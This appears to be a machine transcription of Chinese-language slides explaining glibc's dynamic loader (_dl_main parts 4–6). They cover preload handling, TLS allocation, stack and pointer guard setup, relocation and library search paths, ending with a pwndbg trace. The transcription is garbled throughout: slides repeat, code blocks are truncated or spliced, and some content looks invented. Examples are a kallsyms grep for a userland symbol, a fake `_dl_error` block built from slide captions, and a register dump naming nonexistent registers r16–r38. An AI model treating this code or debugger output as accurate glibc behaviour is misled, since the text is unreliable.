if (__glibc_unlikely(__access(preload_file, R_OK) == 0))  
{  
    file = _dl_sysdep_read_whole_file(preload_file, &file_size,  
                                       PROT_READ | PROT_WRITE);  
    if (__glibc_unlikely(file != MAP_FAILED)) { ... }  
}  
  
if (__glibc_unlikely(*first_preload != NULL))  
{  
    struct link_map *l = *first_preload;  
    preloads = __alloca(npreloads * sizeof preloads[0]);  
    i = 0;  
    do  
    {  
        preloads[i++] = l;  
        l = l->l_next;  
    } while (l);  
}  
  
_dl_map_object_deps(main_map, preloads, npreloads, mode == trace, 0);  
for (i = main_map->l_searchlist.r_nlist; i > 0;)  
    main_map->l_searchlist.r_list[--i]->l_global = 1;
```

\$ DL Start

_dl_main part4

► 處理三種 preload library 的方法

- ⦿ Environment variable “LD_PRELOAD”
 - ⦿ Argument “--preload”
 - ⦿ File “/etc/ld.so.preload”
- 加載使用到的 object 並處理 object 彼此的 dependency
- Mark 加載的 object 已經在 global scope



The screenshot shows a terminal window with the command `u1f383@u1f383:~`. The code is a snippet from the `ld.so` library's `_dl_main` function, specifically the part that handles `LD_PRELOAD`.

```
struct link_map **preloads = NULL;
unsigned int npreloads = 0;

if (__glibc_unlikely(preloadlist != NULL))
    npreloads += handle_preload_list(preloadlist, main_map, "LD_PRELOAD");

if (__glibc_unlikely(*first_preload != NULL))
    npreloads += handle_preload_list(first_preload, main_map, "--preload");

static const char *ld_so_preload_file = "/etc/ld.so.preload";
if (__glibc_unlikely(ld_so_preload_file[0] != '\0'))
{
    file = _dl_sysdep_read_whole_file(ld_so_preload_file, &file_size,
                                       PROT_READ | PROT_WRITE);
    if (__glibc_unlikely(file != MAP_FAILED)) { ... }

    if (__glibc_unlikely(*first_preload != NULL))
    {
        struct link_map *l = *first_preload;
        preloads = __alloca(npreloads * sizeof preloads[0]);
        i = 0;
        do
        {
            preloads[i++] = l;
            l = l->l_next;
        } while (l);
    }

    _dl_map_object_deps(main_map, preloads, npreloads, mode == trace, 0);
    for (i = main_map->l_searchlist.r_nlist; i > 0;)
        main_map->l_searchlist.r_list[--i]->l_global = 1;
}
```

A yellow callout box highlights the line `if (__glibc_unlikely(*first_preload != NULL))` and contains the text: **LD_PRELOAD=/tmp/lib.so , 執行完後 library 會被加載完畢**.

\$ DL Start

_dl_main part4

► 處理三種 preload library 的方法


- ⌚ Environment variable “LD_PRELOAD”

- ⌚ Argument “--preload”

- ⌚ File “/etc/ld.so.preload”

► 加載使用到的 object 並處理 object 彼此的 dependency

► Mark 加載的 object 已經在 global scope



The screenshot shows a terminal window with the command `u1f383@u1f383:~`. The code is a snippet from the `ld.so` source code, specifically the `_dl_main` function. It handles three types of preloading:

- Environment variable `LD_PRELOAD`: `if (__glibc_unlikely(preloadlist != NULL)) npreloads += handle_preload_list(preloadlist, main_map, "LD_PRELOAD");`
- Argument `--preload`: `if (__glibc_unlikely(preloadarg != NULL)) npreloads += handle_preload_list(preloadarg, main_map, "--preload");` (highlighted with a red box)
- File `/etc/ld.so.preload`: `static const char preload_file[] = "/etc/ld.so.preload"; if (__gl...`

A yellow callout box highlights the argument handling code with the text: **/usr/src/glibc/glibc_dbg/elf/ld.so --preload , 執行完後 library 會被加載完畢**.

```
struct link_map **preloads = NULL;
unsigned int npreloads = 0;

if (__glibc_unlikely(preloadlist != NULL))
    npreloads += handle_preload_list(preloadlist, main_map, "LD_PRELOAD");

if (__glibc_unlikely(preloadarg != NULL))
    npreloads += handle_preload_list(preloadarg, main_map, "--preload");


static const char preload_file[] = "/etc/ld.so.preload";
if (__gl...
{
    file
    if (__glibc_unlikely(*first_preload != NULL))
    {
        struct link_map *l = *first_preload;
        preloads = __alloca(npreloads * sizeof preloads[0]);
        i = 0;
        do
        {
            preloads[i++] = l;
            l = l->l_next;
        } while (l);
    }

    _dl_map_object_deps(main_map, preloads, npreloads, mode == trace, 0);
    for (i = main_map->l_searchlist.r_nlist; i > 0;)
        main_map->l_searchlist.r_list[--i]->l_global = 1;
}
```

\$ DL Start

_dl_main part4

- ▶ 處理三種 preload library 的方法
 - ⦿ Environment variable “LD_PRELOAD”
 - ⦿ Argument “--preload”
 - ⦿ File “/etc/ld.so.preload”
- ▶ 加載使用到的 object 並處理 object 彼此的 dependency
- ▶ Mark 加載的 object 已經在 global scope



The screenshot shows a terminal window with the command `u1f383@u1f383:/`. The code is a snippet from the `main.c` file of the GNU C Library. It handles three types of preloading:

- Environment variable `LD_PRELOAD`:
`if (__glibc_unlikely(preloadlist != NULL))
 npreloads += handle_preload_list(preloadlist, main_map, "LD_PRELOAD");`
- Argument `--preload`:
`if (__glibc_unlikely(preloadarg != NULL))
 npreloads += handle_preload_list(preloadarg, main_map, "--preload");`
- File `/etc/ld.so.preload`:
A red box highlights the code for reading the file:
`static const char preload_file[] = "/etc/ld.so.preload";
if (__glibc_unlikely(__access(preload_file, R_OK) == 0))
{
 file = _dl_sysdep_read_whole_file(preload_file, &file_size,
 PROT_READ | PROT_WRITE);
 if (__glibc_unlikely(file != MAP_FAILED)) { ... }
}`

A yellow callout box points to the highlighted code with the text:

`/etc/ld.so.preload` 可以定義多個 preload library，
其中需要處理註解的關係，所以需要額外判斷式處
理，最後會呼叫 **do_reload** 加載 library

Below the highlighted code, the rest of the function continues:

```
        } while (1);  
}  
  
_dl_map_object_deps(main_map, preloads, npreloads, mode == trace, 0);  
for (i = main_map->l_searchlist.r_nlist; i > 0;)  
    main_map->l_searchlist.r_list[--i]->l_global = 1;
```

\$ DL Start

_dl_main part4

► 處理三種 preload library 的方法

- ⌚ Environment variable “LD_PRELOAD”
- ⌚ Argument “--preload”

- ⌚ File “/etc/ld.so.preload”

► 加載使用到的 object 並處理 object 彼此的 dependency

► Mark 加載的 object 已經在 global scope

```
u1f383@u1f383:/
```

```
struct link_map **preloads = NULL;
unsigned int npreloads = 0;

if (__glibc_unlikely(preloadlist != NULL))
    npreloads += handle_preload_list(preloadlist, main_map, "LD_PRELOAD");

if (!__glibc_unlikely(preloads == NULL))
```

當 preload 結束，再來可以載入需要的 object。當設置環境後透過 `_dl_map_object_deps` 來加載 object，並根據 binary 的 section 以及 preload 參數，決定載入順序以及 dependency

```
}
```

```
if (__glibc_unlikely(*first_preload != NULL))
{
    struct link_map *l = *first_preload;
    preloads = __alloca(npreloads * sizeof preloads[0]);
    i = 0;
    do
    {
        preloads[i++] = l;
        l = l->l_next;
    } while (l);
}

_dl_map_object_deps(main_map, preloads, npreloads, mode == trace, 0);
for (i = main_map->l_searchlist.r_nlist; i > 0;)
    main_map->l_searchlist.r_list[--i]->l_global = 1;
```

\$ DL Start

_dl_main part4

- ▶ 處理三種 preload library 的方法
 - ⦿ Environment variable “LD_PRELOAD”
 - ⦿ Argument “--preload”
 - ⦿ File “/etc/ld.so.preload”
- ▶ 加載使用到的 object 並處理 object 彼此的 dependency
- ▶ Mark 加載的 object 已經在 global scope



The terminal window shows a portion of a C program. The code handles three types of preloading:

- Environment variable "LD_PRELOAD":

```
struct link_map **preloads = NULL;
unsigned int npreloads = 0;

if (__glibc_unlikely(preloadlist != NULL))
    npreloads += handle_preload_list(preloadlist, main_map, "LD_PRELOAD");
```
- Argument "--preload":

```
if (__glibc_unlikely(preloadarg != NULL))
    npreloads += handle_preload_list(preloadarg, main_map, "--preload");
```
- File "/etc/ld.so.preload":

```
static const char preload_file[] = "/etc/ld.so.preload";
if (__glibc_unlikely(__access(preload_file, R_OK) == 0))
{
    file = _dl_sysdep_read_whole_file(preload_file, &file_size,
                                       PROT_READ | PROT_WRITE);
    if (__glibc_unlikely(file != MAP_FAILED)) { ... }
```


A yellow callout box highlights the following text:
這些 object 的 link_map 會被放到 **I_searchlist** 當中，用 array index 去訪問，並且會 set 其 link_map 用來標註此 object 是否已經位於 **global scope** 的成員 **I_global**。
Global / local 的差別應該是在於 **namespace** 的差異

```
_dl_map_object_deps(main_map, preloads, npreloads, mode == trace, 0);
for (i = main_map->l_searchlist.r_nlist; i > 0;
     main_map->l_searchlist.r_list[--i]->l_global = 1;
```

\$ DL Start

_dl_main part5

- ▶ 將 ld 從 link_map 移除
- ▶ 如果 executable 有使用到，再加回去
- ▶ 初始化 tls
- ▶ 初始化 stack guard 以及 pointer guard




```
u1f383@u1f383:~$  
  
GL(dl_rtld_map).l_prev->l_next = GL(dl_rtld_map).l_next;  
GL(dl_rtld_map).l_next->l_prev = GL(dl_rtld_map).l_prev;  
  
for (i = 1; i < main_map->l_searchlist.r_nlist; ++i)  
    if (main_map->l_searchlist.r_list[i] == &GL(dl_rtld_map))  
        break;  
  
bool rtld_multiple_ref = false;  
if (__glibc_likely(i < main_map->l_searchlist.r_nlist))  
{  
    rtld_multiple_ref = true;  
    GL(dl_rtld_map).l_prev = main_map->l_searchlist.r_list[i - 1];  
    assert (GL(dl_rtld_map).l_prev->l_next == GL(dl_rtld_map).l_next);  
    GL(dl_rtld_map).l_prev->l_next = &GL(dl_rtld_map);  
}  
  
bool was_tls_init_tp_called = tls_init_tp_called;  
if (tcbp == NULL)  
    tcbp = init_tls();  
  
if (__glibc_likely(need_security_init))  
    security_init();
```

\$ DL Start

_dl_main part5

- ▶ 將 ld 從 link_map 移除
- ▶ 如果 executable 有使用到，再加回去
- ▶ 初始化 tls
- ▶ 初始化 stack guard 以及 pointer guard



```
GL(dl_rtld_map).l_prev->l_next = GL(dl_rtld_map).l_next;
GL(dl_rtld_map).l_next->l_prev = GL(dl_rtld_map).l_prev;

for (i = 0; i < main_map->l_searchlist.r_nlist; i++)
    Unlink _rtld_global._dl_rtld_map

    bool rtld_multiple_ref = false;
    if (__glibc_likely(i < main_map->l_searchlist.r_nlist))
    {
        rtld_multiple_ref = true;
        GL(dl_rtld_map).l_prev = main_map->l_searchlist.r_list[i - 1];
        assert (GL(dl_rtld_map).l_prev->l_next == GL(dl_rtld_map).l_next);
        GL(dl_rtld_map).l_prev->l_next = &GL(dl_rtld_map);
    }

    bool was_tls_init_tp_called = tls_init_tp_called;
    if (tcbp == NULL)
        tcbp = init_tls();

    if (__glibc_likely(need_security_init))
        security_init();
```

\$ DL Start

_dl_main part5

- ▶ 將 ld 從 link_map 移除
- ▶ 如果 executable 有使用到，再加回去
- ▶ 初始化 tls
- ▶ 初始化 stack guard 以及 pointer guard



```
GL(dl_rtld_map).l_prev->l_next = GL(dl_rtld_map).l_next;
GL(dl_rtld_map).l_next->l_prev = GL(dl_rtld_map).l_prev;

for (i = 1; i < main_map->l_searchlist.r_nlist; ++i)
    if (main_map->l_searchlist.r_list[i] == &GL(dl_rtld_map))
        break;

bool rtld_multiple_ref = false;
if (__glibc_likely(i < main_map->l_searchlist.r_nlist))
{
    rtld_multiple_ref = true;
    GL(dl_rtld_map).l_prev = main_map->l_searchlist.r_list[i - 1];
    assert (GL(dl_rtld_map).l_prev->l_next == GL(dl_rtld_map).l_next);
    GL(dl_rtld_map).l_prev->l_next = &GL(dl_rtld_map);
}


bool wa
if (tcb
    tcb
    if (__glibc_likely(need_security_init))
        security_init();
```

代表多個 `_dl_rtld_map` 在 linked list 當中，因此本身並非 executable

\$ DL Start

_dl_main part5

- ▶ 將 ld 從 link_map 移除
- ▶ 如果 executable 有使用到，再加回去
- ▶ 初始化 tls
- ▶ 初始化 stack guard 以及 pointer guard



```
GL(dl_rtld_map).l_prev->l_next = GL(dl_rtld_map).l_next;
GL(dl_rtld_map).l_next->l_prev = GL(dl_rtld_map).l_prev;

for (i = 1; i < main_map->l_searchlist.r_nlist; ++i)
    if (main_map->l_searchlist.r_list[i] == &GL(dl_rtld_map))
        break;

bool rtld_multiple_ref = false;
if (__glibc_likely(i < main_map->l_searchlist.r_nlist))
{
    rtld_multiple_ref = true;
    GL(dl_rtld_map).l_prev = main_map->l_searchlist.r_list[i - 1];
    assert (GL(dl_rtld_map).l_prev->l_next == GL(dl_rtld_map).l_next);
    GL(dl_rtld_map).l_prev->l_next = &GL(dl_rtld_map);
}

bool was_tls_init_tp_called = tls_init_tp_called;
if (tcbp == NULL)
    tcbp = init_tls();

if (__glibc_likely(was_tls_init_tp_called))
```

分配 TLS 的空間，並初始化 dtv
(dynamic thread vector)

\$ DL Start

_dl_main part5

- ▶ 將 Id 從 link_map 移除
- ▶ 如果 executable 有使用到，再加回去
- ▶ 初始化 tls
- ▶ 初始化 stack guard 以及 pointer guard

```
u1f383@u1f383:/
```

```
void *  
_dl_allocate_tls_storage(void)  
{  
    size_t size = GL(dl_tls_static_size);  
    size_t alignment = GL(dl_tls_static_align);  
    void *allocated = malloc(size + alignment + sizeof(void *));  
    void *result = aligned + size - TLS_TCB_SIZE;  
    return allocate_dtv(result);  
}
```


底層會透過此 function 分配空間，而 dl 使用的 malloc / free 都是透過 mmap 實現的，因此最後其實是做 mmap(0x1040 + 0x40 + 0x8) = mmap(0x1088)

result pointer 為 struct pthread *，同時 pthread 也是描述 TCB 的結構

\$ DL Start

_dl_main part5

- ▶ 將 ld 從 link_map 移除
- ▶ 如果 executable 有使用到，再加回去
- ▶ 初始化 tls
- ▶ 初始化 stack guard 以及 pointer guard



```
GL(dl_rtld_map).l_prev->l_next = GL(dl_rtld_map).l_next;
GL(dl_rtld_map).l_next->l_prev = GL(dl_rtld_map).l_prev;

for (i = 1; i < main_map->l_searchlist.r_nlist; ++i)
    if (main_map->l_searchlist.r_list[i] == SGL(dl_rtld_map))

static void security_init(void)
{
    uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard(_dl_random);
    THREAD_SET_STACK_GUARD(stack_chk_guard);

    uintptr_t pointer_chk_guard = _dl_setup_pointer_guard(_dl_random,
                                                          stack_chk_guard);
    THREAD_SET_POINTER_GUARD(pointer_chk_guard);

    _dl_random = NULL;
}

loop = INIT_LOOP;
if (__glibc_likely(need_security_init))
    security_init();
```

Stack guard 以及 pointer guard 都是拿 `_dl_random` 與其 `offset +8` 的位址儲存的值放到 TLS 當中，雖然被設為 `NULL`，不過 `auxiliary vector` 仍會紀錄 `_dl_random` 的位址

\$ DL Start

_dl_main part6


- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ ld 做 relocation
- ▶ 再次初始化 _r_debug

```
u1f383@u1f383:~$ _rtld_main_check(main_map, _dl_argv[0]);
if (... /* 檢查是否 prelink */) { ... }
if (prelinked)
{ ... /* 如果有 prelink，先做 relocation */ }
else
{
    unsigned i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
    {
        struct link_map *l = main_map->l_initfini[i];
        struct libname_list *lnp = l->l_libname->next;
        while (_builtin_expect(lnp != NULL, 0))
        {
            lnp->dont_free = 1;
            lnp = lnp->next;
        }
        l->l_free_initfini = 0;
        if (l != &GL(dl_rtld_map))
            _dl_relocate_object(l, l->l_scope, GLRO(dl_lazy) ? RTLD_LAZY : 0,
                                consider_profiling);
        if (l->l_tls_blocksize != 0 && tls_init_tp_called)
            _dl_add_to_slotinfo(l, true);
    }
    _dl_allocate_tls_init(tcbs);
    if (!prelinked && rtld_multiple_ref)
    {
        GL(dl_rtld_map).l_relocated = 0;
        _dl_relocate_object(&GL(dl_rtld_map), main_map->l_scope, 0, 0);
    }
    r = _dl_debug_initialize(0, LM_ID_BASE);
}
```

\$ DL Start

_dl_main part6

- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ Id 做 relocation
- ▶ 再次初始化 _r_debug




The terminal window shows the beginning of the `_rtld_main_check` function. A red box highlights the following code:

```
_rtld_main_check(main_map, _dl_argv[0]);
if (... /* 檢查是否 prelink */) { ... }
if (prelinked)
{ ... /* 如果有 prelink，先做 relocation */ }
```

A yellow callout box points to the highlighted code with the following text:

如果有開啟 CET，會紀錄在 Id 的 link_map 當中；
如果使用 prelink，代表先前已經解析完，只需要解決 conflict 的情況



The terminal window shows the `_dl_start` function. A red box highlights the following code:

```
while (_builtin_expect(lnp != NULL, 0))
{
    lnp->dont_free = 1;
    lnp = lnp->next;
} l->l_free_initfini = 0;

if (l != &GL(dl_rtld_map))
    _dl_relocate_object(l, l->l_scope, GLR0(dl_lazy) ? RTLD.LAZY : 0,
                        consider_profiling);

if (l->l_tls_blocksize != 0 && tls_init_tp_called)
    _dl_add_to_slotinfo(l, true);
}

_dl_allocate_tls_init(tcbp);


if (!prelinked && rtld_multiple_ref)
{
    GL(dl_rtld_map).l_relocated = 0;
    _dl_relocate_object(&GL(dl_rtld_map), main_map->l_scope, 0, 0);
}

r = _dl_debug_initialize(0, LM_ID_BASE);
```

\$ DL Start

_dl_main part6

- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ ld 做 relocation
- ▶ 再次初始化 _r_debug



```
u1f383@u1f383:/
```

```
_rtld_main_check(main_map, _dl_argv[0]);
if (... /* 檢查是否 prelink */) { ... }
if (prelinked)
{ ... /* 如果有 prelink, 先做 relocation */ }
else
{
    unsigned i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
    {
        struct link_map *l = main_map->l_initfini[i];
        struct libname_list *lnp = l->l_libname->next;
        while (_builtin_expect(lnp != NULL, 0))
        {
            lnp->dont_free = 1;
            lnp = lnp->next;
        }
        l->l_free_initfini = 0;
    }
    if (l != &GL(dl_rtld_map))
        _dl_add_to_slotinfo(l, true);
}
_dl_allocate_tls_init(tcbp);
if (!prelinked && rtld_multiple_ref)
{
    GL(dl_rtld_map).l_relocated = 0;
    _dl_relocate_object(&GL(dl_rtld_map), main_map->l_scope, 0, 0);
}


r = _dl_debug_initialize(0, LM_ID_BASE);
```

將還要使用的資料 mark 成不需要 free

\$ DL Start

_dl_main part6

- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ Id 做 relocation
- ▶ 再次初始化 _r_debug



```
_rtld_main_check(main_map, _dl_argv[0]);
if (... /* 檢查是否 prelink */) { ... }
if (prelinked)
{ ... /* 如果有 prelink，先做 relocation */ }
else
{
    unsigned i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
    {
        struct link_map *l = main_map->l_initfini[i];
        struct libname_list *lnp = l->l_libname->next;
        while (_builtin_expect(lnp != NULL, 0))
        {
            lnp->dont_free = 1;
            lnp = lnp->next;
        }
        l->l_free_initfini = 0;
    }
    if (l != &GL(dl_rtld_map))
        _dl_relocate_object(l, l->l_scope, GLR0(dl_lazy) ? RTLD_LAZY : 0,
                            consider_profiling);
}


_dl_allocate_
if (!prelinked && rtld_multiple_ref)
{
    GL(dl_rtld_map).l_relocated = 0;
    _dl_relocate_object(&GL(dl_rtld_map), main_map->l_scope, 0, 0);
}

r = _dl_debug_initialize(0, LM_ID_BASE);
}
```

\$ DL Start

_dl_main part6

- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ ld 做 relocation
- ▶ 再次初始化 _r_debug



```
u1f383@u1f383:~$ _rtld_main_check(main_map, _dl_argv[0]);
if (... /* 檢查是否 prelink */) { ... }
if (prelinked)
{ ... /* 如果有 prelink, 先做 relocation */ }
else
{
    unsigned i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
    {
        struct link_map *l = main_map->l_initfini[i];
        struct libname_list *lnp = l->l_libname->next;
        while (_builtin_expect(lnp != NULL, 0))
        {
            lnp->dont_free = 1;
            lnp = lnp->next;
        }
        l->l_free_initfini = 0;
        if (l != &GL(dl_rtld_map))
            _dl_relocate_object(l, l->l_scope, GLRO(dl_lazy) ? RTLD_LAZY : 0,
                                consider_profiling);
        if (l->l_tls_blocksize != 0 && tls_init_tp_called)
            _dl_add_to_slotinfo(l, true);
    }
}
if (!prelinked && rtld_multiple_ref)
{
    GL(dl_rtld_map).l_relocated = 0;
    _dl_relocate_object(&GL(dl_rtld_map), main_map->l_scope, 0, 0);
}

r = _dl_debug_initialize(0, LM_ID_BASE);
```

將 link_map 紀錄在 TLS 的 member **slotinfo** 當中

\$ DL Start

_dl_main part6

- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ ld 做 relocation
- ▶ 再次初始化 _r_debug

```
u1f383@u1f383:~$ cat /proc/kallsyms | grep _dl_allocate_tls_init
main_map->l_scope, 0, 0);
r = _dl_debug_initialize(0, LM_ID_BASE);
}

_dl_allocate_tls_init(tcbp);

Traverse 每個 slot，將 binary 的 TLS
section data 複製到 TLS 當中

{
    _rtld_main_check(main_map, _dl_argv[0]);
    if (... /* 檢查是否 prelink */) { ... }
    if (prelinked)
    { ... /* 如果有 prelink，先做 relocation */ }
    else
    {
        unsigned i = main_map->l_searchlist.r_nlist;
        while (i-- > 0)
        {
            struct link_map *l = main_map->l_initfini[i];
            struct libname_list *lnp = l->l_libname->next;
            while (_builtin_expect(lnp != NULL, 0))
            {
                lnp->dont_free = 1;
                lnp = lnp->next;
            }
            l->l_free_initfini = 0;
            if (l != &GL(dl_rtld_map))
                _dl_relocate_object(l, l->l_scope, GLRO(dl_lazy) ? RTLD_LAZY : 0,
                                    consider_profiling);
            if (l->l_tls_blocksize != 0 && tls_init_tp_called)
                _dl_add_to_slotinfo(l, true);
        }
    }
}
```

\$ DL Start

_dl_main part6

- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ Id 做 relocation
- ▶ 再次初始化 _r_debug

```
u1f383@u1f383:/$
_rtld_main_check(main_map, _dl_argv[0]);
if (... /* 檢查是否 prelink */) { ... }
if (prelinked)
{ ... /* 如果有 prelink，先做 relocation */ }
else
{
    unsigned i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
    {
        struct link_map *l = main_map->l_initfini[i];
        struct libname_list *lnp = l->l_libname->next;
        while (_builtin_expect(lnp != NULL, 0))
        {
            lnp->dont_free = 1;
            lnp = lnp->next;
        }
        l->l_free_initfini = 0;
        if (l != &GL(dl_rtld_map))
            _dl_relocate_object(l, l->l_scope, GLR0(dl_lazy) ? RTLD_LAZY : 0,
                                consider_profiling);
    }
}
_dl
if (!prelinked && rtld_multiple_ref)
{
    GL(dl_rtld_map).l_relocated = 0;
    _dl_relocate_object(&GL(dl_rtld_map), main_map->l_scope, 0, 0);
}

r = _dl_debug_initialize(0, LM_ID_BASE);
}
```

Id 最後才做 relocation，不然 Id GOT 可能在呼叫對應到的 function 時會被更改，會出現問題

\$ DL Start

_dl_main part6

- ▶ 檢查是否支援 CET 以及處理 prelink
- ▶ 標記還要使用的 data 不用被釋放
- ▶ 每個 object 做 relocation
- ▶ 將每個 link_map 加到 TLS 的 slot
- ▶ 把 binary 內的 TLS section data 複製到 TLS 當中
- ▶ ld 做 relocation
- ▶ 再次初始化 _r_debug

```
u1f383@u1f383:~$ cat /proc/kallsyms | grep _rtld_main_check
00007f3830000000 t _rtld_main_check

$ cat /tmp/_rtld_main.c
$ 
_rtld_main_check(main_map, _dl_argv[0]);
if (... /* 檢查是否 prelink */) { ... }
if (prelinked)
{ ... /* 如果有 prelink，先做 relocation */ }
else
{
    unsigned i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
    {
        struct link_map *l = main_map->l_initfini[i];
        struct libname_list *lnp = l->l_libname->next;
        while (_builtin_expect(lnp != NULL, 0))
        {
            lnp->dont_free = 1;
            lnp = lnp->next;
        }
        l->l_free_initfini = 0;
        if (l != &GL(dl_rtld_map))
            _dl_relocate_object(l, l->l_scope, GLRO(dl_lazy) ? RTLD_LAZY : 0,
                                consider_profiling);
        if (l->l_tls_blocksize != 0 && tls_init_tp_called)
            _dl_add_to_slotinfo(l, true);
    }
}

_dl_add_to_slotinfo(l, true);

if (!(_dl_debug_initialize(0, LM_ID_BASE) & _R_DEBUG_INITIALIZED))
{
    _dl_error("Shared object 的資料大部分都載入完畢，再次初始化 _r_debug");
}
else
{
    _dl_error("Shared object 的資料大部分都載入完畢，再次初始化 _r_debug");
}

r = _dl_debug_initialize(0, LM_ID_BASE);
```

Shared object 的資料大部分都載入
完畢，再次初始化 _r_debug

\$ DL Start

_dl_main btw

► 在找 library 時會去找與 ld.so 目錄相關的目錄 (變數 system_dirs) :

- ⦿ /usr/src/glibc/glibc_dbg/lib/tls/haswell/x86_64/<lib_name>
- ⦿ /usr/src/glibc/glibc_dbg/lib/tls/haswell/<lib_name>
- ⦿ /usr/src/glibc/glibc_dbg/lib/tls/x86_64/<lib_name>
- ⦿ /usr/src/glibc/glibc_dbg/lib/tls/<lib_name>
- ⦿ /usr/src/glibc/glibc_dbg/lib/haswell/x86_64/<lib_name>
- ⦿ /usr/src/glibc/glibc_dbg/lib/haswell/<lib_name>
- ⦿ /usr/src/glibc/glibc_dbg/lib/x86_64/<lib_name>
- ⦿ /usr/src/glibc/glibc_dbg/lib/<lib_name>
- ⦿ /lib/tls/haswell/x86_64/<lib_name>
- ⦿ /lib/tls/haswell/<lib_name>
- ⦿ /lib/tls/x86_64/<lib_name>
- ⦿ /lib/tls/<lib_name>
- ⦿ /lib/haswell/x86_64/<lib_name>
- ⦿ /lib/haswell/<lib_name>
- ⦿ /lib/x86_64/<lib_name>
- ⦿ /lib/<lib_name>

The screenshot shows a debugger interface with two panes. The top pane displays assembly code:


```
pwndbg> x/s system_dirs
0x7ffff7ff3500 <system_dirs>:    "/usr/src/glibc/glibc_dbg/lib/"
pwndbg> 0x7ffff7ff351e <system_dirs+30>:      "/lib/"
pwndbg> 0x7ffff7ff3524 <system_dirs+36>:      "/usr/src/glibc/glibc_dbg/lib/"
```

The bottom pane shows the corresponding C code from `/usr/src/glibc-2.31/elf/dl-load.c`:

```
_dl_map_object_deps --> _dl_map_object --> open_path (simplified)

0x7ffff7fd963a <open_path+426>    mov    ecx, dword ptr [rbp + 0x18]
0x7ffff7fd963d <open_path+429>    xor    r9d, r9d
0x7ffff7fd9640 <open_path+432>    mov    rdx, rbx
0x7ffff7fd9643 <open_path+435>    mov    rsi, qword ptr [rbp - 0xe8]
0x7ffff7fd964a <open_path+442>    mov    rdi, r15
0x7ffff7fd964d <open_path+445>    call   open_verify_constprop
                                         rdi: 0x7fffffff7d290 ← '/usr/src/glibc/glibc_dbg/lib/tls/haswell/x86_64/libc.so.6'
                                         rsi: 0x7fffffff7d4a0 ← 0x0
                                         rdx: 0x7ffff7ffe190 → 0x555555554000 ← 0x10102464c457f
                                         rcx: 0x40
0x7ffff7fd9652 <open_path+450>    mov    r8d, eax
0x7ffff7fd9655 <open_path+453>    mov    eax, dword ptr [r14 + r12*4 + 0x28]
0x7ffff7fd965a <open_path+458>    test   eax, eax
0x7ffff7fd965c <open_path+460>    jne   open_path+904
                                         r8d: -1
                                         rax: 0x555555554000 ← 0x10102464c457f
                                         rbp: 0x7ffff7ffe190 → 0x555555554000 ← 0x10102464c457f
                                         r12: 0x7ffff7fd963a → 0x555555554000 ← 0x10102464c457f
                                         r14: 0x7ffff7fd963d → 0x555555554000 ← 0x10102464c457f
                                         r15: 0x7ffff7fd9640 → 0x555555554000 ← 0x10102464c457f
                                         r16: 0x7ffff7fd9643 → 0x555555554000 ← 0x10102464c457f
                                         r17: 0x7ffff7fd964a → 0x555555554000 ← 0x10102464c457f
                                         r18: 0x7ffff7fd964d → 0x555555554000 ← 0x10102464c457f
                                         r19: 0x7ffff7fd9652 → 0x555555554000 ← 0x10102464c457f
                                         r20: 0x7ffff7fd9655 → 0x555555554000 ← 0x10102464c457f
                                         r21: 0x7ffff7fd965a → 0x555555554000 ← 0x10102464c457f
                                         r22: 0x7ffff7fd965c → 0x555555554000 ← 0x10102464c457f
                                         r23: 0x7ffff7fd9662 → 0x555555554000 ← 0x10102464c457f
                                         r24: 0x7ffff7fd9666 → 0x555555554000 ← 0x10102464c457f
                                         r25: 0x7ffff7fd966a → 0x555555554000 ← 0x10102464c457f
                                         r26: 0x7ffff7fd966e → 0x555555554000 ← 0x10102464c457f
                                         r27: 0x7ffff7fd9672 → 0x555555554000 ← 0x10102464c457f
                                         r28: 0x7ffff7fd9676 → 0x555555554000 ← 0x10102464c457f
                                         r29: 0x7ffff7fd967a → 0x555555554000 ← 0x10102464c457f
                                         r30: 0x7ffff7fd967e → 0x555555554000 ← 0x10102464c457f
                                         r31: 0x7ffff7fd9682 → 0x555555554000 ← 0x10102464c457f
                                         r32: 0x7ffff7fd9686 → 0x555555554000 ← 0x10102464c457f
                                         r33: 0x7ffff7fd968a → 0x555555554000 ← 0x10102464c457f
                                         r34: 0x7ffff7fd968e → 0x555555554000 ← 0x10102464c457f
                                         r35: 0x7ffff7fd9692 → 0x555555554000 ← 0x10102464c457f
                                         r36: 0x7ffff7fd9696 → 0x555555554000 ← 0x10102464c457f
                                         r37: 0x7ffff7fd969a → 0x555555554000 ← 0x10102464c457f
                                         r38: 0x7ffff7fd969e → 0x555555554000 ← 0x10102464c457f
